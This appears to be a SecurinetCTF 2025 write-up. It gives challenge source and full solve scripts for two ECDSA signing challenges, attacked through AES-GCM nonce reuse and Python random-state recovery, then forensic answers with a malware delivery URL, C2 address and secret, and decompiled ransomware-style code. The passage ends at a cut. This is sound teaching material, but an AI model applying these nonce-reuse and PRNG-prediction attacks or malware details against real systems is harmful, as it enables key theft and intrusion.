# SecurinetCTF 2025 ## Crypto ### Fl1pperZer0 chall: ```python! from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse from Crypto.Cipher import AES from Crypto.Util.Padding import pad from fastecdsa.curve import P256 as EC from fastecdsa.point import Point import os, random, hashlib, json from secret import FLAG class SignService: def __init__(self): self.G = Point(EC.gx, EC.gy, curve=EC) self.order = EC.q self.p = EC.p self.a = EC.a self.b = EC.b self.privkey = random.randrange(1, self.order - 1) self.pubkey = (self.privkey * self.G) self.key = os.urandom(16) self.iv = os.urandom(16) def generate_key(self): self.privkey = random.randrange(1, self.order - 1) self.pubkey = (self.privkey * self.G) def ecdsa_sign(self, message, privkey): z = int(hashlib.sha256(message).hexdigest(), 16) k = random.randrange(1, self.order - 1) r = (k*self.G).x % self.order s = (inverse(k, self.order) * (z + r*privkey)) % self.order return (r, s),k def ecdsa_verify(self, message, r, s, pubkey): r %= self.order s %= self.order if s == 0 or r == 0: return False z = int(hashlib.sha256(message).hexdigest(), 16) s_inv = inverse(s, self.order) u1 = (z*s_inv) % self.order u2 = (r*s_inv) % self.order W = u1*self.G + u2*pubkey return W.x == r def aes_encrypt(self, plaintext): cipher = AES.new(self.key, AES.MODE_GCM, nonce=self.iv) ct, tag = cipher.encrypt_and_digest(plaintext) return tag + ct def aes_decrypt(self, ciphertext): tag, ct = ciphertext[:16], ciphertext[16:] cipher = AES.new(self.key, AES.MODE_GCM, nonce=self.iv) plaintext = cipher.decrypt_and_verify(ct, tag) return plaintext def get_flag(self): key = hashlib.sha256(long_to_bytes(self.privkey)).digest()[:16] cipher = AES.new(key, AES.MODE_ECB) encrypted_flag = cipher.encrypt(pad(FLAG.encode(), 16)) return encrypted_flag if __name__ == '__main__': print("Welcome to Fl1pper Zer0 – Signing Service!\n") S = SignService() signkey = S.aes_encrypt(long_to_bytes(S.privkey)) print(f"Here is your encrypted signing key, use it to sign a message : {json.dumps({'pubkey': {'x': hex(S.pubkey.x), 'y': hex(S.pubkey.y)}, 'signkey': signkey.hex()})}") while True: print("\nOptions:\n \ 1) sign <message> <signkey> : Sign a message\n \ 2) verify <message> <signature> <pubkey> : Verify the signed message\n \ 3) generate_key : Generate a new signing key\n \ 4) get_flag : Get the flag\n \ 5) quit : Quit\n") try: inp = json.loads(input('> ')) if 'option' not in inp: print(json.dumps({'error': 'You must send an option'})) elif inp['option'] == 'sign': msg = bytes.fromhex(inp['msg']) signkey = bytes.fromhex(inp['signkey']) sk = bytes_to_long(S.aes_decrypt(signkey)) (r, s),k = S.ecdsa_sign(msg, sk) print(json.dumps({'r': hex(r), 's': hex(s),'sk':k})) elif inp['option'] == 'verify': msg = bytes.fromhex(inp['msg']) r = int(inp['r'], 16) s = int(inp['s'], 16) px = int(inp['px'], 16) py = int(inp['py'], 16) pub = Point(px, py, curve=EC) verified = S.ecdsa_verify(msg, r, s, pub) if verified: print(json.dumps({'result': 'Success'})) else: print(json.dumps({'result': 'Invalid signature'})) elif inp['option'] == 'generate_key': S.generate_key() signkey = S.aes_encrypt(long_to_bytes(S.privkey)) print("Here is your *NEW* encrypted signing key :") print(json.dumps({'pubkey': {'x': hex(S.pubkey.x), 'y': hex(S.pubkey.y)}, 'signkey': signkey.hex()})) elif inp['option'] == 'get_flag': encrypted_flag = S.get_flag() print(json.dumps({'flag': encrypted_flag.hex()})) elif inp['option'] == 'quit': print("Adios :)") break else: print(json.dumps({'error': 'Invalid option'})) except Exception: print(json.dumps({'error': 'Oops! Something went wrong'})) break ``` Overview: At first glance, we will receive signkey: $$ \text{signkey = AES-GCM.encrypt(private_key)} $$ In this chall, we have 3 options: - **Sign:** User allowed to sign user_message with signkey with the following process: \begin{array}{c} \text{AES-GCM(signkey)}\\ \downarrow\\ \text{Sign(user_message)}\\ \downarrow\\ r = (k\ (\ = random(1,E.order()-1)\ ) * G).x \mod{E.order}\\ s = k^{-1} *( hash(message) + r * private) \mod{E.order} \end{array} - And what'll happend if we can get the list of `k = random(1,E.order()-1)` from `private_key = 0 `. - **Verify:** just verifying ( I did not use it so skipping it in this blog ). - **Generate_key**: server will reset the private key and give signkey to us. - ->> How can i project the next private key??? - **Get_flag**: $$ ct = AES-ECB(key=private-key,\ flag) $$ #### First step: Recovering the E_k(Y_0) of Tag formula. > Note: I'll give you the formula and the way to get E_k(Y_0), I'll not explain clearly how it works, you can see the general concept in https://frereit.de/aes_gcm/#gcm-authentication . The vulneribility of this server is the mode AES_GCM within `reuse key - nonce`, take a look at [this blog](https://frereit.de/aes_gcm/#gcm-authentication), this vulner can leak the `GHASH()` to get `E_k(Y_0)` which can bypass the GCM authentication, and the formula Tag - authentication tag is: \begin{array}{c} \text{Tag} = C_{1}\cdot H^{3} \oplus C_{0}\cdot H^{2} \oplus L\cdot H \oplus E_k(Y_0) \in \mathrm{GF}(2^{128}) \\ \text{where +, *, ^} \text{ stand for } \oplus,\ \times,\ \text{power in } \mathrm{GF}(2^{128}). \\ \left\{ \begin{aligned} T_1 &= C_{1_1}\cdot H^3 + C_{1_0}\cdot H^2 + L\cdot H + E_k(Y_0)\\ T_2 &= C_{2_1}\cdot H^3 + C_{2_0}\cdot H^2 + L\cdot H + E_k(Y_0)\\ T_3 &= C_{3_1}\cdot H^3 + C_{3_0}\cdot H^2 + L\cdot H + E_k(Y_0) \end{aligned} \right. \\ \Rightarrow \left\{ \begin{aligned} T_1 - T_2 &= H^3\cdot (C_{1_1}-C_{2_1}) + H^2\cdot (C_{1_0}-C_{2_0})\\ T_2 - T_3 &= H^3\cdot (C_{2_1}-C_{3_1}) + H^2\cdot (C_{2_0}-C_{3_0}) \end{aligned} \right. \\ \text{Let } \delta_1 = C_{1_1}-C_{2_1},\ \delta_2 = C_{1_0}-C_{2_0},\ \delta_3 = C_{2_1}-C_{3_1},\ \delta_4 = C_{2_0}-C_{3_0}. \\ \Rightarrow \left\{ \begin{aligned} T_1 - T_2 &= H^2\cdot(\delta_1 H + \delta_2)\\ T_2 - T_3 &= H^2\cdot(\delta_3 H + \delta_4) \end{aligned} \right. \\ \text{Define } T \;=\; \dfrac{T_1-T_2}{T_2-T_3}. \quad\text{Then} \quad T \;=\; \dfrac{\delta_1 H + \delta_2}{\delta_3 H + \delta_4}. \\ \text{Solve for } H:\qquad T(\delta_3 H + \delta_4) = \delta_1 H + \delta_2 \end{array} \begin{aligned} &\; T\delta_3 H + T\delta_4 = \delta_1 H + \delta_2 \\ \Longrightarrow\;& (T\delta_3 - \delta_1)\,H = \delta_2 - T\delta_4 \\ \Longrightarrow\;& \boxed{\, H = \dfrac{\delta_2 - T\delta_4}{T\delta_3 - \delta_1}\,} \end{aligned} scripts: ```python! def split_tag_ct(hexs): b = bytes.fromhex(hexs) tag, ct = b[:16], b[16:] assert len(ct) == 32 # 2 block c1, c2 = int.from_bytes(ct[:16],'big'), int.from_bytes(ct[16:],'big') T = int.from_bytes(tag,'big') return T, c1, c2 T1,c1_1,c1_2 = split_tag_ct(signkey) T2,c2_1,c2_2 = split_tag_ct(gen_key()) T3,c3_1,c3_2 = split_tag_ct(gen_key()) x = GF(2)["x"].gen() gf2e = GF( 2**128 , name = "y" , modulus = x**128 + x**7 + x**2 + x + 1 ) # https://github.com/jvdsn/crypto-attacks/blob/master/attacks/gcm/forbidden_attack.py def _to_gf2e(n): return gf2e([(n >> i) & 1 for i in range(127, -1, -1)]) def _from_gf2e(p): n = p._integer_representation() ans = 0 for i in range(128): ans <<= 1 ans |= ((n >> i) & 1) return ans T1 = _to_gf2e(T1); T2 = _to_gf2e(T2); T3 = _to_gf2e(T3) C1 = _to_gf2e(c1_1); C2 = _to_gf2e(c1_2); C2_1 = _to_gf2e(c2_1) C2_2 = _to_gf2e(c2_2);C3_1 = _to_gf2e(c3_1); C3_2 = _to_gf2e(c3_2) delta1 = C1 + C2_1; delta2 = C2 + C2_2; delta3 = C2_1 + C3_1; delta4 = C2_2 + C3_2 T12 = T1 + T2 T23 = T2 + T3 T = T12 / T23 H = (delta2 - T*delta4) / (T*delta3 - delta1) H_int = _from_gf2e(H) Lbits = 256 S = T1 + C1*(H**3) + C2*(H**2) + _to_gf2e(Lbits)*H assert T12 == (C1 + C2_1)*(H**3) + (C2 + C2_2)*(H**2) S = _from_gf2e(S) S = int(S) ``` Do you consider that what'll i do with the E_k(Y_0)?? #### Recovering MT19937's state and predicting the next state - the next private_key. > You can see the core attack - break Pyrandom in https://rbtree.blog/posts/2021-05-18-breaking-python-random-module/ The next step is getting the list of `k = random( 1,E.order -1 )` ( state - random in Python ) to estimate the next state. The previous `S - E_k(Y_0)` (just recovered) can help us get k. If you send only `signkey = tag and message`, the server will calculate: \begin{aligned} tag,\ ct &:= \texttt{signkey[:16]} \;\|\; \texttt{signkey[16:]} \\ \Rightarrow\ ct & = \text{""} \Leftrightarrow \text{user_private_key} =0 \\ \Rightarrow\ s &\equiv k^{-1}\cdot \operatorname{hash}(m) \pmod{E.\mathrm{order}} \\ \Rightarrow\ k &\equiv s \cdot \operatorname{hash}(m) \pmod{E.\mathrm{order}} \end{aligned} Currently, we can get a list of random-k, so we just get enough samples to recover the state of MT19937. Let see my workflow on it: ```python! import random,copy from gf2bv import LinearSystem from gf2bv.crypto.mt import MT19937 #https://github.com/maple3142/gf2bv lin = LinearSystem([32] * 624) mt = lin.gens() rng = MT19937(mt) bs = 32 q = 115792089210356248762697446949407573529996955224135760342422259061068512044369 rr = random.Random() for i in range(4): print(rr.randrange(1,q-1)) print("===") assert rr.randrange(1,q-1) == cc.getrandbits(256)+1 rng.getrandbits(256) zeros = [rng.getrandbits(256) ^(rr.randrange(1,q-1)-1) for _ in range(300)] sol = lin.solve_one(zeros) rng = MT19937(sol) pyrand = rng.to_python_random() for _ in range(4+ 300 ): pyrand.getrandbits(256) ``` Note: - we need run 4 times before getting samples because: - 1st: server random -> getting private_key - 2,3,4th : we get the signkeys. - And getrandbits(256) + ti = randrange(1,q-1 ( 256bits)) ( where ti $\in$ (1,2,3,...)) in this chall ti = 1 ( I got ti = 1 through experiment ). If you confused why 300 samples can recover the MT19937-state instead of another number, because we lost 4 times getrandbits(256) $\sim$ 4 * 8 (state) = 32 state ~ 1024 freedom bit -> so we need at 300 ($\sim$ 76800 bits equations) samples to recover all state ( I tried many times to get the number of samples ). scripts: ```python! def sign(m,signkey): (r.recvuntil("5")) (r.recvuntil("> ")) r.sendline(json.dumps({ "option":"sign", "msg": m.hex(), "signkey": signkey.hex() })) resp = r.recvline().strip().decode() resp = r.recvline().strip().decode() resp = eval(resp) return int(resp['r'],16), int(resp['s'],16) from gf2bv import LinearSystem from gf2bv.crypto.mt import MT19937 lin = LinearSystem([32] * 624) mt = lin.gens() rng = MT19937(mt) for _ in range(4): rng.getrandbits(256) zeros = [] import time,tqdm for i in tqdm.tqdm(range(300)): m = b'123' h = hash(m) r1,s1= sign(m,long_to_bytes(S)) k = int((h*inverse(s1,q))%q) zeros.append(rng.getrandbits(256) ^(k-1)) sol = lin.solve_one(zeros) rng = MT19937(sol) pyrand = rng.to_python_random() ``` #### Get_flag ```python! r.recv() r.sendline(json.dumps({ "option":"generate_key" })) print(r.recv().decode()) print(r.recv().decode()) r.sendline(json.dumps({ "option": "get_flag", })) resp = r.recvline().strip().decode() resp = r.recvline().strip().decode() print(resp) resp = eval(resp) flag = resp['flag'] flag = bytes.fromhex(flag) key = pyrand.randrange(1,q-1) key = hashlib.sha256(long_to_bytes(key)).digest()[:16] cipher = AES.new(key, AES.MODE_ECB) decrypted_flag = cipher.decrypt(flag) print(decrypted_flag) #Securinets{bea0c8b66714035aaa7e7035868dd58ac229399449b663da96cf637f2ced3d84} ``` ### Fl1pperZer1 chall: ```python! from sage.all import * from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse from Crypto.Cipher import AES from Crypto.Util.Padding import pad from fastecdsa.curve import P256 as EC from fastecdsa.point import Point import os, random, hashlib, json # load('secret.sage') Flag = "FLAG{REDACTED_FOR_PRIVACY}" class SecureSignService: def __init__(self): self.G = Point(EC.gx, EC.gy, curve=EC) self.order = EC.q self.p = EC.p self.a = EC.a self.b = EC.b self.privkey = random.randrange(1, self.order - 1) self.pubkey = (self.privkey * self.G) self.key = os.urandom(16) self.iv = os.urandom(16) def split_privkey(self, privkey): shares = [] coeffs = [privkey] for _ in range(3): coeffs.append(random.randrange(1, self.order)) P = PolynomialRing(GF(self.order),'x') x = P.gen() poly = sum(c*x**i for i, c in enumerate(coeffs)) for x in range(1, 5): y = poly(x=x) shares.append((x, y)) return shares def reconstruct_privkey(self, shares): P = PolynomialRing(GF(self.order),'x') x = P.gen() reconst_poly = P.lagrange_polynomial(shares) return int(reconst_poly(0)) def shares_encrypt(self, shares): return [self.aes_encrypt(long_to_bytes(int(s[1]))).hex() for s in shares] def shares_decrypt(self, shares): return [(x+1, bytes_to_long(self.aes_decrypt(bytes.fromhex(y)))) for x, y in enumerate(shares)] def generate_key(self): self.privkey = random.randrange(1, self.order - 1) self.pubkey = (self.privkey * self.G) def ecdsa_sign(self, message, privkey): z = int(hashlib.sha256(message).hexdigest(), 16) k = random.randrange(1, self.order - 1) r = (k*self.G).x % self.order s = (inverse(k, self.order) * (z + r*privkey)) % self.order return (r, s), k def ecdsa_verify(self, message, r, s, pubkey): r %= self.order s %= self.order if s == 0 or r == 0: return False z = int(hashlib.sha256(message).hexdigest(), 16) s_inv = inverse(s, self.order) u1 = (z*s_inv) % self.order u2 = (r*s_inv) % self.order W = u1*self.G + u2*pubkey return W.x == r def aes_encrypt(self, plaintext): cipher = AES.new(self.key, AES.MODE_GCM, nonce=self.iv) ciphertext, tag = cipher.encrypt_and_digest(plaintext) return tag + ciphertext def aes_decrypt(self, ciphertext): tag, ct = ciphertext[:16], ciphertext[16:] cipher = AES.new(self.key, AES.MODE_GCM, nonce=self.iv) plaintext = cipher.decrypt_and_verify(ct, tag) return plaintext def get_flag(self): key = hashlib.sha256(long_to_bytes(self.privkey)).digest()[:16] cipher = AES.new(key, AES.MODE_ECB) encrypted_flag = cipher.encrypt(pad(FLAG.encode(), 16)) return encrypted_flag if __name__ == '__main__': print("Welcome to Fl0pper Zer1 – Secure Signing Service!\n") S = SecureSignService() signkey = S.shares_encrypt(S.split_privkey(S.privkey)) print(f"Here are your encrypted signing key shares, use them to sign a message : {json.dumps({'pubkey': {'x': hex(S.pubkey.x), 'y': hex(S.pubkey.y)}, 'signkey': signkey})}") while True: print("\nOptions:\n \ 1) sign <message> <signkey> : Sign a message\n \ 2) verify <message> <signature> <pubkey> : Verify the signed message\n \ 3) generate_key : Generate new signing key shares\n \ 4) get_flag : Get the flag\n \ 5) quit : Quit\n") try: inp = json.loads(input('> ')) if 'option' not in inp: print(json.dumps({'error': 'You must send an option'})) elif inp['option'] == 'sign': msg = bytes.fromhex(inp['msg']) signkey = inp['signkey'] sk = S.reconstruct_privkey(S.shares_decrypt(signkey)) (r, s),k = S.ecdsa_sign(msg, sk) print(json.dumps({'r': hex(r), 's': hex(s), 'k': (k)})) elif inp['option'] == 'verify': msg = bytes.fromhex(inp['msg']) r = int(inp['r'], 16) s = int(inp['s'], 16) px = int(inp['px'], 16) py = int(inp['py'], 16) pub = Point(px, py, curve=EC) verified = S.ecdsa_verify(msg, r, s, pub) if verified: print(json.dumps({'result': 'Success'})) else: print(json.dumps({'result': 'Invalid signature'})) elif inp['option'] == 'generate_key': S.generate_key() signkey = S.shares_encrypt(S.split_privkey(S.privkey)) print("Here are your *NEW* encrypted signing key shares :") print(json.dumps({'pubkey': {'x': hex(S.pubkey.x), 'y': hex(S.pubkey.y)}, 'signkey': signkey})) elif inp['option'] == 'get_flag': encrypted_flag = S.get_flag() print(json.dumps({'flag': encrypted_flag.hex()})) elif inp['option'] == 'quit': print("Adios :)") break else: print(json.dumps({'error': 'Invalid option'})) except Exception as e: print(json.dumps({'error': 'Oops! Something went wrong'})) break ``` Solve: There is the same mistake in implementation so we can use the way to solve above chall to do this chall. However, the encrypt data is different. ```python! def split_privkey(self, privkey): shares = [] coeffs = [privkey] for _ in range(3): coeffs.append(random.randrange(1, self.order)) P = PolynomialRing(GF(self.order),'x') x = P.gen() poly = sum(c*x**i for i, c in enumerate(coeffs)) for x in range(1, 5): y = poly(x=x) shares.append((x, y)) return shares def reconstruct_privkey(self, shares): P = PolynomialRing(GF(self.order),'x') x = P.gen() reconst_poly = P.lagrange_polynomial(shares) return int(reconst_poly(0)) def shares_encrypt(self, shares): return [self.aes_encrypt(long_to_bytes(int(s[1]))).hex() for s in shares] signkey = S.shares_encrypt(S.split_privkey(S.privkey)) ``` It use the mixture SSS_s to encrypt data, but we can only send Tag to get the private_key = 0 to get k - random. scripts: ```python! r = remote("flopper.p2.securinets.tn", 6002) r.recvuntil(" use them to sign a message : ") resp = r.recvline().strip().decode() resp = eval(resp) signkey =(resp['signkey']) q = S.order def split_tag_ct(hexs): b = bytes.fromhex(hexs) tag, ct = b[:16], b[16:] assert len(ct) == 32 # 2 block c1, c2 = int.from_bytes(ct[:16],'big'), int.from_bytes(ct[16:],'big') T = int.from_bytes(tag,'big') return T, c1, c2 T1,c1_1,c1_2 = split_tag_ct(signkey[0]) T2,c2_1,c2_2 = split_tag_ct(signkey[1]) T3,c3_1,c3_2 = split_tag_ct(signkey[2]) T4,c4_1,c4_2 = split_tag_ct(signkey[3]) x = GF(2)["x"].gen() # https://github.com/jvdsn/crypto-attacks/blob/master/attacks/gcm/forbidden_attack.py gf2e = GF( 2**128 , name = "y" , modulus = x**128 + x**7 + x**2 + x + 1 ) def _to_gf2e(n): return gf2e([(n >> i) & 1 for i in range(127, -1, -1)]) def _from_gf2e(p): n = p._integer_representation() ans = 0 for i in range(128): ans <<= 1 ans |= ((n >> i) & 1) return ans T1 = _to_gf2e(T1); T2 = _to_gf2e(T2); T3 = _to_gf2e(T3); T4 = _to_gf2e(T4) C1 = _to_gf2e(c1_1); C2 = _to_gf2e(c1_2); C2_1 = _to_gf2e(c2_1); C2_2 = _to_gf2e(c2_2) C3_1 = _to_gf2e(c3_1); C3_2 = _to_gf2e(c3_2); C4_1 = _to_gf2e(c4_1); C4_2 = _to_gf2e(c4_2) delta1 = C1 + C2_1 delta2 = C2 + C2_2 delta3 = C2_1 + C3_1 delta4 = C2_2 + C3_2 T12 = T1 + T2 T23 = T2 + T3 T = T12 / T23 H = (delta2 - T*delta4) / (T*delta3 - delta1) H_int = _from_gf2e(H) Lbits = 256 S = T1 + C1*(H**3) + C2*(H**2) + _to_gf2e(Lbits)*H assert C4_1 * H**3 + C4_2 * H**2 + _to_gf2e(Lbits)*H + S == T4 S = _from_gf2e(S) S = int(S) tmp = [long_to_bytes(S).hex() for x in range(4)] def sign(m,signkey): print(r.recv().decode()) r.sendline(json.dumps({ "option":"sign", "msg": m.hex(), "signkey": signkey })) resp = r.recvline().strip().decode() resp = r.recvline().strip().decode() resp = eval(resp) return (int(resp['r'],16), int(resp['s'],16)) from gf2bv import LinearSystem from gf2bv.crypto.mt import MT19937 lin = LinearSystem([32] * 624) mt = lin.gens() rng = MT19937(mt) for _ in range(4): rng.getrandbits(256) zeros = [] import time,tqdm def hash(m): return int(hashlib.sha256(m).hexdigest(), 16) for i in tqdm.tqdm(range(300)): m = b'123' h = hash(m) (r1,s1)= sign(m,tmp) k = int((h*inverse(s1,q))%q) zeros.append(rng.getrandbits(256) ^(k-1)) sol = lin.solve_one(zeros) rng = MT19937(sol) pyrand = rng.to_python_random() for _ in range(4+ 300): pyrand.getrandbits(256) r.recv() r.sendline(json.dumps({ "option":"generate_key" })) print(r.recvuntil("Here are your *NEW* encrypted signing key shares :").decode()) resp = r.recvline().strip().decode() resp = r.recvline().strip().decode() print(resp) print(r.recvuntil("5").decode()) print(r.recvuntil(">").decode()) r.sendline(json.dumps({ "option": "get_flag", })) resp = r.recvline().strip().decode() resp = r.recvline().strip().decode() print(resp) flag = bytes.fromhex(flag) key = pyrand.randrange(1,q-1) key = hashlib.sha256(long_to_bytes(key)).digest()[:16] cipher = AES.new(key, AES.MODE_ECB) decrypted_flag = cipher.decrypt(flag) print(decrypted_flag) ``` ## Forensic ### Silent Visitor #### 1. What is the SHA256 hash of the disk image provided? answer: 122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2 #### 2. Identify the OS build number of the victim’s system? The answer can be found in HIVE SOFTWARE. `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion` answer: 19045 #### 3. What is the ip of the victim's machine? The answer can be found in HIVE SYSTEM. `SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces` answer: 192.168.206.131 #### 4. What is the name of the email application used by the victim? Looking for in appdata will find. answer: thunderbird #### 5. What is the name of the email application used by the victim? Looking for in local data of thunderbird, try express folder profile and find ImapMail, you will find out the file name INBOX, all message will be save there. answer: ammar55221133@gmail.com #### 6. What is the email of the attacker? In the INBOX file, you will see the inbox from masmoudim522@gmail.com with github link was attached. answer: masmoudim522@gmail.com #### 7. What is the URL that the attacker used to deliver the malware to the victim? Exploring that github link, you will find package.json and script powershell in it. Decode base64 that script will find the link answer: https://tmpfiles.org/dl/23860773/sys.exe #### 8. What is the SHA256 hash of the malware file? answer: be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d #### 9. What is the IP address of the C2 server that the malware communicates with? Explore the malware file in virustotal or try reverse this with source code is golang. answer: 40.113.161.85 #### 10. What port does the malware use to communicate with its Command & Control (C2) server? answer: 5000 #### 11. What is the url if the first Request made by the malware to the c2 server? answer: http://40.113.161.85:5000/helppppiscofebabe23 #### 12. The malware created a file to identify itself. What is the content of that file? In tab behavior on virustotal, you will see file id.txt was written at file written tag. ![image](https://hackmd.io/_uploads/HyatwQ4pgl.png) answer: 3649ba90-266f-48e1-960c-b908e1f28aef #### 13. Which registry key did the malware modify or add to maintain persistence? Continue express in virustotal, find registry edit tag. ![image](https://hackmd.io/_uploads/HkzJdQEpgl.png) ![image](https://hackmd.io/_uploads/SyUfOQE6lx.png) That is common tactis for persistence. [T1547.001] answer: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyApp #### 14. What is the content of this registry? ![image](https://hackmd.io/_uploads/BJD9uQ46ge.png) Or can use registry explorer to find out. answer: C:\Users\ammar\Documents\sys.exe #### 15. The malware uses a secret token to communicate with the C2 server. What is the value of this key? Open the malware file into IDA pro, you will find many thing script was written and run. Among they has main.secret to make JWT secret token. Or you can use string grep find anything match `secret` answer: e7bcc0ba5fb1dc9cc09460baaa2a6986 ### Lost file. I don't think it is nice challenge because it doesn't have any techniques used in forensic. You was be given two evidence, disk image and ram capture. First, explore disk image (file .ad1) in FTK imager and try explore in recyclebin you will see the file name INFO2 have the information about location file secret_part.txt Following the path, you will find a suspicious file .exe and the encrypted file. The encrypted file might the secret_file was encrypted by ransomware, and ransomeware is the suspicious file .exe. Load file .exe into IDA pro. Main code. ```cpp= int __cdecl main(int argc, const char **argv, const char **envp) { size_t v4; // ebx size_t v5; // eax char FileName[260]; // [esp+14h] [ebp-694h] BYREF size_t ElementCount; // [esp+118h] [ebp-590h] BYREF void *v8; // [esp+11Ch] [ebp-58Ch] BYREF size_t v9; // [esp+120h] [ebp-588h] BYREF void *Src; // [esp+124h] [ebp-584h] BYREF char v11[260]; // [esp+128h] [ebp-580h] BYREF BYTE v12[4]; // [esp+22Ch] [ebp-47Ch] BYREF int v13; // [esp+230h] [ebp-478h] int v14; // [esp+234h] [ebp-474h] int v15; // [esp+238h] [ebp-470h] BYTE v16[4]; // [esp+23Ch] [ebp-46Ch] BYREF int v17; // [esp+240h] [ebp-468h] int v18; // [esp+244h] [ebp-464h] int v19; // [esp+248h] [ebp-460h] int v20; // [esp+25Ch] [ebp-44Ch] BYREF void *Block; // [esp+260h] [ebp-448h] BYREF char Buffer[260]; // [esp+264h] [ebp-444h] BYREF CHAR Filename[260]; // [esp+368h] [ebp-340h] BYREF char Str[260]; // [esp+46Ch] [ebp-23Ch] BYREF char Destination[256]; // [esp+570h] [ebp-138h] BYREF FILE *Stream; // [esp+670h] [ebp-38h] BYTE *pbData; // [esp+674h] [ebp-34h] size_t Size; // [esp+678h] [ebp-30h] size_t v29; // [esp+67Ch] [ebp-2Ch] DWORD ModuleFileNameA; // [esp+680h] [ebp-28h] char *v31; // [esp+684h] [ebp-24h] size_t Count; // [esp+688h] [ebp-20h] CHAR *i; // [esp+68Ch] [ebp-1Ch] int *p_argc; // [esp+69Ch] [ebp-Ch] p_argc = &argc; __main(); if ( argc <= 1 ) return 1; v31 = (char *)argv[1]; memset(Destination, 0, sizeof(Destination)); if ( read_computername_from_registry((LPBYTE)Destination, 256) ) { strncpy(Destination, "UNKNOWN_HOST", 0xFFu); Destination[255] = 0; } fflush(&__iob[1]); memset(Str, 0, sizeof(Str)); memset(Filename, 0, sizeof(Filename)); ModuleFileNameA = GetModuleFileNameA(0, Filename, 0x104u); if ( !ModuleFileNameA || ModuleFileNameA > 0x103 ) goto LABEL_18; for ( i = &Filename[ModuleFileNameA - 1]; i >= Filename && *i != 92 && *i != 47; --i ) ; if ( i >= Filename ) { Count = i - Filename; if ( i == Filename ) { strncpy(Str, Filename, 0x103u); Str[259] = 0; } else { if ( Count > 0x103 ) Count = 259; strncpy(Str, Filename, Count); Str[Count] = 0; } } else { LABEL_18: strcpy(Str, "."); } v29 = strlen(Str); if ( v29 && (Str[v29 - 1] == 92 || Str[v29 - 1] == 47) ) snprintf(Buffer, 0x104u, "%ssecret_part.txt", Str); else snprintf(Buffer, 0x104u, "%s\\secret_part.txt", Str); Block = 0; v20 = 0; read_file_to_buffer(Buffer, (int)&Block, (int)&v20); DeleteFileA(Buffer); v4 = strlen(v31); Size = v4 + strlen(Destination) + v20 + 10; pbData = (BYTE *)malloc(Size); if ( v20 ) snprintf((char *const)pbData, Size, "%s|%s|%s", v31, Destination, (const char *)Block); else snprintf((char *const)pbData, Size, "%s|%s|", v31, Destination); v5 = strlen((const char *)pbData); if ( sha256_buf(pbData, v5, v16) ) { puts("SHA256 failed"); return 1; } else { *(_DWORD *)v12 = *(_DWORD *)v16; v13 = v17; v14 = v18; v15 = v19; if ( Str[strlen(Str) - 1] == 92 || Str[strlen(Str) - 1] == 47 ) snprintf(v11, 0x104u, "%sto_encrypt.txt", Str); else snprintf(v11, 0x104u, "%s\\to_encrypt.txt", Str); Src = 0; v9 = 0; if ( read_file_to_buffer(v11, (int)&Src, (int)&v9) ) { printf("Target file not found: %s\n", v11); return 1; } else { v8 = 0; ElementCount = 0; if ( aes256_encrypt_simple((int)v16, v12, Src, v9, (int)&v8, (int)&ElementCount) ) { puts("Encryption failed"); return 1; } else { if ( Str[strlen(Str) - 1] == 92 || Str[strlen(Str) - 1] == 47 ) snprintf(FileName, 0x104u, "%sto_encrypt.txt.enc", Str); else snprintf(FileName, 0x104u, "%s\\to_encrypt.txt.enc", Str); Stream = fopen(FileName, "wb"); if ( Stream ) { fwrite(v8, 1u, ElementCount, Stream); fclose(Stream); if ( Block ) free(Block); if ( Src ) free(Src); if ( v8 ) free(v8); free(pbData); return 0; } else { return 1; } } } } } ``` Simply, the program reads a files name secret_part with computer name and argument to make a key by combining they and put into sha256. So we need to find first argument variable, computer name and files secret was deleted. The first argument can be find in memory dmp. ``` vol2 -f mem.dmp --profile=WinXPSP2x86 consoles 1 ↵ ──(Thu,Oct09)─┘ Volatility Foundation Volatility Framework 2.6.1 ************************************************** ConsoleProcess: csrss.exe Pid: 600 Console: 0x4f23b0 CommandHistorySize: 50 HistoryBufferCount: 1 HistoryBufferMax: 4 OriginalTitle: %SystemRoot%\system32\cmd.exe Title: C:\WINDOWS\system32\cmd.exe AttachedProcess: cmd.exe Pid: 2284 Handle: 0x458 ---- CommandHistory: 0x10386f8 Application: cmd.exe Flags: Allocated, Reset CommandCount: 2 LastAdded: 1 LastDisplayed: 1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x458 Cmd #0 at 0x1044400: cd Desktop Cmd #1 at 0x4f1f90: cls ---- Screen 0x4f2ab0 X:80 Y:300 Dump: C:\Documents and Settings\RagdollFan2005\Desktop>locker_sim.exe hmmisitreallyts ************************************************** ConsoleProcess: csrss.exe Pid: 600 Console: 0x1044560 CommandHistorySize: 50 HistoryBufferCount: 2 HistoryBufferMax: 4 OriginalTitle: ?OystemRoot%\system32\cmd.exe Title: ``` The username can be find in memorydump by use plugin envars or find in registry. ``` vol2 -f mem.dmp --profile=WinXPSP2x86 envars | grep -i COMPUTERNAME ──(Thu,Oct09)─┘ Volatility Foundation Volatility Framework 2.6.1 624 winlogon.exe 0x00010000 COMPUTERNAME RAGDOLLF-F9AC5A 668 services.exe 0x00010000 COMPUTERNAME RAGDOLLF-F9AC5A 680 lsass.exe 0x00010000 COMPUTERNAME RAGDOLLF-F9AC5A 836 vmacthlp.exe 0x00010000 COMPUTERNAME RAGDOLLF-F9AC5A 848 svchost.exe 0x00010000 COMPUTERNAME RAGDOLLF-F9AC5A 932 svchost.exe 0x00010000 COMPUTERNAME RAGDOLLF-F9AC5A ``` And the last is deleted file, try explore in recycle bin. ![image](https://hackmd.io/_uploads/BJpfO8HTgx.png) So the key will be sha256(hmmisitreallyts|RAGDOLLF-F9AC5A|sigmadroid) = 1117e5b8fdff9d7be375e7a88354c497b93788da64a3968621499687f10474e5 ![image](https://hackmd.io/_uploads/rkZAuIralg.png) ### Recovery First try explore folder user dump We have the powershell history. We will find user download source code name dns100-free from github. At the top of commit has content dns6, we can see xor function, that is so suspicious for dns server. ![image](https://hackmd.io/_uploads/BkM9CUrpex.png) Try to explore more in source code you will find class DNSserver has answer_query so suspicious. They use base32 to encode fragmented data. The data is the malware execution file. ![image](https://hackmd.io/_uploads/BkImlDr6xl.png) Open file 